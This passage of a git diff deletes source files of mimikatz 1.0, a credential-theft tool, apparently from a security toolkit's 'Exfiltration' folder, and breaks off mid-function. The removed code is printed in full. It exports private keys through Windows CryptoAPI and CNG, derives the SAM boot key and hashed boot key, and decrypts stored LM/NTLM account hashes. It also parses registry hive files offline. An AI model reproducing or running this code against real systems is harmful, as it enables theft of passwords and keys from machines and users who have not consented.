0xb0b5f11e // bob's file -#define PVK_NO_ENCRYPT 0 -#define PVK_RC4_PASSWORD_ENCRYPT 1 -#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 - -class mod_crypto -{ -public: - typedef struct _KIWI_KEY_PROV_INFO { - std::wstring pwszContainerName; - std::wstring pwszProvName; - DWORD dwProvType; - DWORD dwFlags; - DWORD cProvParam; - DWORD dwKeySpec; - } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; - -private: - typedef struct _GENERICKEY_BLOB { - BLOBHEADER BlobHeader; - DWORD dwKeyLen; - } GENERICKEY_BLOB, *PGENERICKEY_BLOB; - - typedef struct _FILE_HDR { - DWORD dwMagic; - DWORD dwVersion; - DWORD dwKeySpec; - DWORD dwEncryptType; - DWORD cbEncryptData; - DWORD cbPvk; - } FILE_HDR, *PFILE_HDR; - - static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); -public: - static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); - - static bool getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); - static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); - static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); - - static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); - static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); - static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); - static wstring KeyTypeToString(DWORD keyType); - - static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); - static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp deleted file mode 100644 index f886f096..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_cryptoapi.h" -HMODULE mod_cryptoapi::hRsaEng = NULL; - -bool mod_cryptoapi::loadRsaEnh() -{ - if(!hRsaEng) - hRsaEng = LoadLibrary(L"rsaenh"); - return (hRsaEng != NULL); -} - -bool mod_cryptoapi::unloadRsaEnh() -{ - if(hRsaEng) - FreeLibrary(hRsaEng); - return true; -} - -bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) -{ - map mesProviders; - mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); - mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); - mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); - mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); - - map::iterator monIterateur = mesProviders.find(ProviderName); - *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; - return true; -} - -bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) -{ - map mesTypes; - mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); - mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); - mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); - mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); - mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); - mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); - mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); - mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); - mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); - mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); - mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); - mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); - mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); - mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); - mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); - mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); - mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); - mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); - - map::iterator monIterateur = mesTypes.find(ProviderTypeName); - if(monIterateur != mesTypes.end()) - { - *ProviderType = monIterateur->second; - return true; - } - else return false; -} - -bool mod_cryptoapi::getVectorProviders(vector * monVectorProviders) -{ - DWORD index = 0; - DWORD provType; - DWORD tailleRequise; - - while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) - { - wchar_t * monProvider = new wchar_t[tailleRequise]; - if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) - { - monVectorProviders->push_back(monProvider); - } - delete[] monProvider; - index++; - } - return (GetLastError() == ERROR_NO_MORE_ITEMS); -} - -bool mod_cryptoapi::getVectorContainers(vector * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) -{ - bool reussite = false; - - HCRYPTPROV hCryptProv = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) - { - DWORD tailleRequise = 0; - char * containerName = NULL; - DWORD CRYPT_first_next = CRYPT_FIRST; - bool success = false; - - success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); - while(success) - { - containerName = new char[tailleRequise]; - if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast(containerName), &tailleRequise, CRYPT_first_next) != 0)) - { - wstringstream resultat; - resultat << containerName; - monVectorContainers->push_back(resultat.str()); - } - delete[] containerName; - CRYPT_first_next = CRYPT_NEXT; - } - reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); - CryptReleaseContext(hCryptProv, 0); - } - - return reussite; -} - -bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) -{ - bool reussite = false; - - if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) - { - *monExport = new BYTE[*tailleExport]; - if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) - delete[] monExport; - - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h deleted file mode 100644 index 8c70b483..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h +++ /dev/null @@ -1,26 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include - -class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ -{ -private: - static HMODULE hRsaEng; -public: - static bool getProviderString(wstring ProviderName, wstring * Provider); - static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); - - static bool getVectorProviders(vector * monVectorProviders); - static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); - static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); - - static bool loadRsaEnh(); - static bool unloadRsaEnh(); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp deleted file mode 100644 index 690f390a..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp +++ /dev/null @@ -1,143 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_cryptong.h" - -HMODULE hNcrypt = LoadLibrary(L"ncrypt"); - -PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); -PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptEnumKeys")); -PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenKey")); -PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptExportKey")); -PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptGetProperty")); - -PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); -PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeObject")); - -PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); -PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); - -bool mod_cryptong::isNcrypt = ( - hNcrypt && - K_NCryptOpenStorageProvider && - K_NCryptEnumKeys && - K_NCryptOpenKey && - K_NCryptExportKey && - K_NCryptGetProperty && - K_NCryptFreeBuffer && - K_NCryptFreeObject && - K_BCryptEnumRegisteredProviders && - K_BCryptFreeBuffer -); - -bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - - if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) - reussite = (K_NCryptFreeObject(hProvider) == 0); - - return reussite; -} - - -bool mod_cryptong::getVectorProviders(vector * monVectorProviders) -{ - bool reussite = false; - - DWORD cbBuffer; - PCRYPT_PROVIDERS pBuffer = NULL; - - if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) - { - for(DWORD i = 0; i < pBuffer->cProviders; i++) - monVectorProviders->push_back(pBuffer->rgpszProviders[i]); - K_BCryptFreeBuffer(pBuffer); - } - - return reussite; -} - -bool mod_cryptong::getVectorContainers(vector * monVectorContainers, bool isMachine) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - NCryptKeyName * pKeyName; - PVOID pEnumState = NULL; - - SECURITY_STATUS retour; - if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) - { - while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) - { - monVectorContainers->push_back(pKeyName->pszName); - K_NCryptFreeBuffer(pKeyName); - } - reussite = (retour == NTE_NO_MORE_ITEMS); - - if(pEnumState) - K_NCryptFreeBuffer(pEnumState); - K_NCryptFreeObject(hProvider); - } - - return reussite; -} - -bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - - if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) - { - reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; - K_NCryptFreeObject(hProvider); - } - - return reussite; -} - - - -bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) -{ - DWORD tailleEcrite = 0; - return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); -} - - -bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) -{ - bool reussite = false; - DWORD tailleEcrite = 0, exportability = 0; - - if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) - { - *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; - } - return reussite; -} - -bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) -{ - SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); - if(monRetour == ERROR_SUCCESS) - { - *monExport = new BYTE[*tailleExport]; - monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); - - if(monRetour != ERROR_SUCCESS) - delete[] monExport; - } - SetLastError(monRetour); - return (monRetour == ERROR_SUCCESS); -} - - -bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) -{ - return (K_NCryptFreeObject(hObject) == 0); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h deleted file mode 100644 index 3eec5b69..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h +++ /dev/null @@ -1,24 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ -{ -public: - static bool getVectorProviders(vector * monVectorProviders); - static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false); - static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); - static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); - static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); - static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); - static bool NCryptFreeObject(NCRYPT_HANDLE hObject); - - static bool isNcrypt; - static bool justInitCNG(LPCWSTR pszProviderName = NULL); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp deleted file mode 100644 index fe32c499..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_hash.h" - -PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); -PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); -PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); -PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); -PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); - -bool mod_hash::lm(wstring * chaine, wstring * hash) -{ - bool status = false; - UNICODE_STRING maChaine; - OEM_STRING maDestination; - BYTE monTab[16]; - - RtlInitUnicodeString(&maChaine, chaine->c_str()); - if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) - { - if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) - hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); - - RtlFreeOemString(&maDestination); - } - return status; -} - -bool mod_hash::ntlm(wstring * chaine, wstring * hash) -{ - bool status = false; - UNICODE_STRING maChaine; - BYTE monTab[16]; - - RtlInitUnicodeString(&maChaine, chaine->c_str()); - if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) - hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); - return status; -} - -void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) -{ - BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; - for(unsigned int i = 0; i < 0x10; i++) - bootkey[i] = key[permut[i]]; -} - -bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) -{ - bool reussite = false; - unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; - unsigned char num[] = "0123456789012345678901234567890123456789"; - - HCRYPTPROV hCryptProv = NULL; - HCRYPTHASH hHash = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - BYTE md5hash[0x10] = {0}; - DWORD dwHashDataLen = sizeof(md5hash); - CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); - CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); - CryptHashData(hHash, qwe, sizeof(qwe), 0); - CryptHashData(hHash, bootKey, 0x10, 0); - CryptHashData(hHash, num, sizeof(num), 0); - CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); - CryptDestroyHash(hHash); - CryptReleaseContext(hCryptProv, 0); - reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); - } - return reussite; -} - -bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) -{ - bool reussite = false; - unsigned char ntpassword[] = "NTPASSWORD"; - unsigned char lmpassword[] = "LMPASSWORD"; - - BYTE obfkey[0x10]; - BYTE mes2CleDES[0x10]; - - if(encHash->lenght == 0x10 + 4) - { - HCRYPTPROV hCryptProv = NULL; - HCRYPTHASH hHash = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - BYTE md5hash[0x10] = {0}; - DWORD dwHashDataLen = 0x10; - CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); - CryptHashData(hHash, hBootKey, 0x10, 0); - CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); - CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); - CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); - CryptDestroyHash(hHash); - - CryptReleaseContext(hCryptProv, 0); - - if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) - { - sid_to_key1(rid, mes2CleDES); - sid_to_key2(rid, mes2CleDES + 8); - - reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && - mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); - } - } - } - hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); - - return reussite; -} - -void mod_hash::str_to_key(BYTE *str, BYTE *key) -{ - key[0] = str[0] >> 1; - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); - key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); - key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); - key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); - key[7] = str[6] & 0x7f; - for (DWORD i = 0; i < 8; i++) - key[i] = (key[i] << 1); -} - -void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) -{ - unsigned char s[7]; - s[0] = s[4] = (unsigned char)((sid) & 0xff); - s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); - s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); - s[3] = (unsigned char)((sid >>24) & 0xff); - str_to_key(s, deskey); -} - -void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) -{ - unsigned char s[7]; - - s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); - s[1] = s[5] = (unsigned char)((sid) & 0xff); - s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); - s[3] = (unsigned char)((sid >>16) & 0xff); - str_to_key(s, deskey); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h deleted file mode 100644 index 19d7c445..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hash.h +++ /dev/null @@ -1,81 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_text.h" -#include "mod_crypto.h" - -class mod_hash -{ -private: - static PSYSTEM_FUNCTION_006 SystemFunction006; - static PSYSTEM_FUNCTION_007 SystemFunction007; - static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; - static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; - static PRTL_FREE_OEM_STRING RtlFreeOemString; - -public: - typedef enum _KIWI_HASH_TYPE - { - LM, - NTLM - } KIWI_HASH_TYPE; - - typedef struct _SAM_ENTRY { - DWORD offset; - DWORD lenght; - DWORD unk; -} SAM_ENTRY, *PSAM_SENTRY; - - typedef struct _OLD_LARGE_INTEGER { - unsigned long LowPart; - long HighPart; - } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; - - typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 - DWORD unk0_header; - DWORD align; - OLD_LARGE_INTEGER LastLogon; - OLD_LARGE_INTEGER LastLogoff; - OLD_LARGE_INTEGER PasswordLastSet; - OLD_LARGE_INTEGER AccountExpires; - OLD_LARGE_INTEGER PasswordMustChange; - unsigned long UserId; - unsigned long unk1; - unsigned long UserAccountControl; - } USER_F, *PUSER_F; - - typedef struct _USER_V { - SAM_ENTRY unk0; - SAM_ENTRY Username; - SAM_ENTRY Fullname; - SAM_ENTRY Comment; - SAM_ENTRY UserComment; - SAM_ENTRY unk1; - SAM_ENTRY Homedir; - SAM_ENTRY Homedirconnect; - SAM_ENTRY Scriptpath; - SAM_ENTRY Profilepath; - SAM_ENTRY Workstations; - SAM_ENTRY HoursAllowed; - SAM_ENTRY unk2; - SAM_ENTRY LM; - SAM_ENTRY NTLM; - SAM_ENTRY unk3; - SAM_ENTRY unk4; - BYTE datas; - } USER_V, *PUSER_V; - - static bool lm(wstring * chaine, wstring * hash); - static bool ntlm(wstring * chaine, wstring * hash); - - static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); - static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); - static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); - static void str_to_key(BYTE *str, BYTE *key); - static void sid_to_key1(DWORD sid, BYTE deskey[8]); - static void sid_to_key2(DWORD sid, BYTE deskey[8]); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp deleted file mode 100644 index a0e79cdd..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp +++ /dev/null @@ -1,242 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_hive.h" - -mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) -{ - memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); - nk->key_name = (h->base + offset + 4 + 76); - return nk; -} - -mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) -{ - memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); - lf->hr = (h->base+offset+4+4); - return lf; -} - -mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) -{ - memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); - vk->value_name = (h->base+offset+4+20); - return vk; -} - -int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) -{ - memcpy(value, h->base+offset+4, size*sizeof(int)); - return value; -} - -mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) -{ - pos+=(8*index); - memcpy(hr, pos, sizeof(hashrecord)); - return hr; -} - - -unsigned char* mod_hive::read_data(hive *h, int offset ) -{ - return ((unsigned char*) (h->base + offset + 4)); -} - -bool mod_hive::InitHive(hive *h) -{ - h->base = NULL; - return true; -} - -bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) -{ - bool reussite = false; - FILE *hiveh; - unsigned long hsize; - - if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) - { - if(fseek(hiveh, 0, SEEK_END) == 0) - { - hsize = ftell(hiveh); - h->base = new unsigned char[hsize]; - fseek(hiveh, 0, SEEK_SET); - - if(fread(h->base, hsize, 1, hiveh) == 1) - { - reussite = *((int *)h->base) == 0x66676572; - } - } - fclose(hiveh); - } - return reussite; -} - -bool mod_hive::RegCloseHive(hive *h ) -{ - if(h->base != NULL) - { - delete[] h->base; - } - return true; -} - - -long mod_hive::parself(hive *h, char *t, unsigned long off ) -{ - nk_hdr *n; - lf_hdr *l; - hashrecord *hr; - - int i; - - hr = (hashrecord*) malloc(sizeof(hashrecord)); - n = (nk_hdr*) malloc(sizeof(nk_hdr)); - l = (lf_hdr*) malloc(sizeof(lf_hdr)); - l = read_lf(l, h, off ); - - for(i = 0; i < l->key_num; i++ ) - { - hr = read_hr(hr, l->hr, i); - n = read_nk(n, h, hr->nk_offset + 0x1000 ); - if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) - { - free(n); - free(l); - return hr->nk_offset; - } - } - free(n); - free(l); - return -1; -} - -bool mod_hive::RegGetRootKey(hive *h, string *root_key) -{ - bool reussite = false; - nk_hdr * n = new nk_hdr(); - read_nk(n, h, 0x1020); - if (n->id == NK_ID && n->type == NK_ROOT) - { - root_key->assign((const char *) n->key_name, n->name_len); - reussite = true; - } - delete n; - return reussite; -} - -bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) -{ - bool reussite = false; - - nk_hdr *n = new 